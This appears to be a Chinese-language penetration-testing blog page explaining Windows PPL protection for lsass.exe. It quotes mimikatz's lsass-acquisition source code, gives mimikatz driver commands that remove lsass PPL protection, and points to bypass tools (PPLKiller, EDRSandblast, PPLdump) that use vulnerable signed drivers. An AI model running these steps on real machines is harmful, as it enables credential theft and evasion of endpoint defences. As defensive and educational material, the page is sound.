Skip to main content

PPL

随着 mimikatz 的风靡,微软也开发出了响应的防御措施,例如 PPL。对于 IT 管理员,PPL 非常容易部署,绝对是 quick-win,虽然 PPL 是可以被绕过的,但至少给导出凭证操作增添了额外的难度。我们说过,Windows 有 4 种完整度等级,而 PPL,则是更高级的,这意味着即便是 SYSTEM 权限也无法访问被 PPL 保护的进程,而 lsass 支持 PPL保护。我们可以在注册表的如下位置添加 RunAsPPL 从而启用 PPL。

image.png

对于启用了 PPL 的主机,如果无论是用 nanodump 还是 mimikatz 或其他类似工具,我们尝试提取都无法正常导出 lsass 中的凭证,那么我们会得到如下进程。nanodump 的报错告诉我们,无法获得对 lsass.exe 进程的句柄,即便我们已经是 SYSTEM 特权了。

image.pngimage.png

image.png


我们查看 mimikatz 相关部分的代码:

NTSTATUS kuhl_m_sekurlsa_acquireLSA()
{
    NTSTATUS status = STATUS_SUCCESS;
    KULL_M_MEMORY_TYPE Type;
    HANDLE hData = NULL;
    DWORD pid, cbSk;
    PMINIDUMP_SYSTEM_INFO pInfos;
    DWORD processRights = PROCESS_VM_READ | ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION);
    BOOL isError = FALSE;
    PBYTE pSk;

    if(!cLsass.hLsassMem)
    {
        status = STATUS_NOT_FOUND;
        if(pMinidumpName)
        {
            Type = KULL_M_MEMORY_TYPE_PROCESS_DMP;
            kprintf(L"Opening : \'%s\' file for minidump...\n", pMinidumpName);
            hData = CreateFile(pMinidumpName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
        }
        else
        {
            Type = KULL_M_MEMORY_TYPE_PROCESS;
            if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid))
                hData = OpenProcess(processRights, FALSE, pid);
            else PRINT_ERROR(L"LSASS process not found (?)\n");
        }

        if(hData && hData != INVALID_HANDLE_VALUE)
        {
            if(kull_m_memory_open(Type, hData, &cLsass.hLsassMem))
            {
                if(Type == KULL_M_MEMORY_TYPE_PROCESS_DMP)
                {
                    if(pInfos = (PMINIDUMP_SYSTEM_INFO) kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, SystemInfoStream, NULL))
                    {
                        cLsass.osContext.MajorVersion = pInfos->MajorVersion;
                        cLsass.osContext.MinorVersion = pInfos->MinorVersion;
                        cLsass.osContext.BuildNumber  = pInfos->BuildNumber;
                    #if defined(_M_X64) || defined(_M_ARM64)
                        if(isError = (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_AMD64))
                            PRINT_ERROR(L"Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_AMD64 (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_AMD64);
                    #elif defined(_M_IX86)
                        if(isError = (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_INTEL))
                            PRINT_ERROR(L"Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_INTEL (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_INTEL);
                    #endif
                    }
                    else
                    {
                        isError = TRUE;
                        PRINT_ERROR(L"Minidump without SystemInfoStream (?)\n");
                    }

                    if (pSk = (PBYTE)kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, (MINIDUMP_STREAM_TYPE)0x1337, &cbSk))
                    {
                        kprintf(L"  > SecureKernel stream found in minidump (%u bytes)\n", cbSk);
                        pid = kuhl_m_sekurlsa_sk_search(pSk, cbSk, TRUE);
                        kprintf(L"    %u candidate keys found\n", pid);
                    }
                }
                else
                {
                #if defined(_M_IX86)
                    if(IsWow64Process(GetCurrentProcess(), &isError) && isError)
                        PRINT_ERROR(MIMIKATZ L" " MIMIKATZ_ARCH L" cannot access x64 process\n");
                    else
                #endif
                    {                        
                        cLsass.osContext.MajorVersion = MIMIKATZ_NT_MAJOR_VERSION;
                        cLsass.osContext.MinorVersion = MIMIKATZ_NT_MINOR_VERSION;
                        cLsass.osContext.BuildNumber  = MIMIKATZ_NT_BUILD_NUMBER;
                    }
                }

                if(!isError)
                {
                    lsassLocalHelper = 
                    #if defined(_M_ARM64)
                        &lsassLocalHelpers[0]
                    #else
                        (cLsass.osContext.MajorVersion < 6) ? &lsassLocalHelpers[0] : &lsassLocalHelpers[1]
                    #endif
                    ;

                    if(NT_SUCCESS(lsassLocalHelper->initLocalLib()))
                    {
                    #if !defined(_M_ARM64)
                        kuhl_m_sekurlsa_livessp_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8);
                    #endif
                        kuhl_m_sekurlsa_tspkg_package.isValid = (cLsass.osContext.MajorVersion >= 6) || (cLsass.osContext.MinorVersion < 2);
                        kuhl_m_sekurlsa_cloudap_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_BUILD_10_1909);
                        if(NT_SUCCESS(kull_m_process_getVeryBasicModuleInformations(cLsass.hLsassMem, kuhl_m_sekurlsa_findlibs, NULL)) && kuhl_m_sekurlsa_msv_package.Module.isPresent)
                        {
                            kuhl_m_sekurlsa_dpapi_lsa_package.Module = kuhl_m_sekurlsa_msv_package.Module;
                            if(kuhl_m_sekurlsa_utils_search(&cLsass, &kuhl_m_sekurlsa_msv_package.Module))
                            {
                                status = lsassLocalHelper->AcquireKeys(&cLsass, &lsassPackages[0]->Module.Informations);
                                if(!NT_SUCCESS(status))
                                    PRINT_ERROR(L"Key import\n");
                            }
                            else PRINT_ERROR(L"Logon list\n");
                        }
                        else PRINT_ERROR(L"Modules informations\n");
                    }
                    else PRINT_ERROR(L"Local LSA library failed\n");
                }
            }
            else PRINT_ERROR(L"Memory opening\n");

            if(!NT_SUCCESS(status))
                CloseHandle(hData);
        }
        else PRINT_ERROR_AUTO(L"Handle on memory");

        if(!NT_SUCCESS(status))
            cLsass.hLsassMem = kull_m_memory_close(cLsass.hLsassMem);
    }
    return status;
}

笔者已经标记出了分支语句,根据代码我们得知在 PPL 启用的状态下,OpenProcess 无法访问 lsass.exe 进程,即便是开启了SeDebugPrivilege 特权的本地管理员。

但是正如开头所说,PPL 是可以被绕过的,虽然依旧会给我们增加额外的难度。其中方法之一就是使用 mimikatz 的驱动 mimidrv.sys,移除 lsass.exe 的 PPL保护

!+

!processprotect /process:lsass.exe /remove

image.png

在这之后,我们就可以愉快地提取凭证了。但是,攻与防是持续的斗争,虽然 mimidrv.sys 可以帮助我们移除 lsass.exe 的 PPL 保护,但是 mimidrv.sys 会被 AV/EDR 列入黑名单。因此,我们可以编写自己的驱动并且签名,如果觉得这麻烦的话,可以利用具有漏洞的官方驱动在内核空间执行代码(有些类似于通过 LOLBAS 绕过 AppLocker),这样的话我们就能从用户态载入未签名的驱动,例如 PPLKiller (https://github.com/RedCursorSecurityConsulting/PPLKiller) 就是利用了这种技术。

其他一些参考工具:
EDRSandblask: https://github.com/wavestone-cdt/EDRSandblast 
PPLDump: https://github.com/itm4n/PPLdump  (在最新Win11已经不适用)
pypykatz: https://github.com/skelsec/pypykatz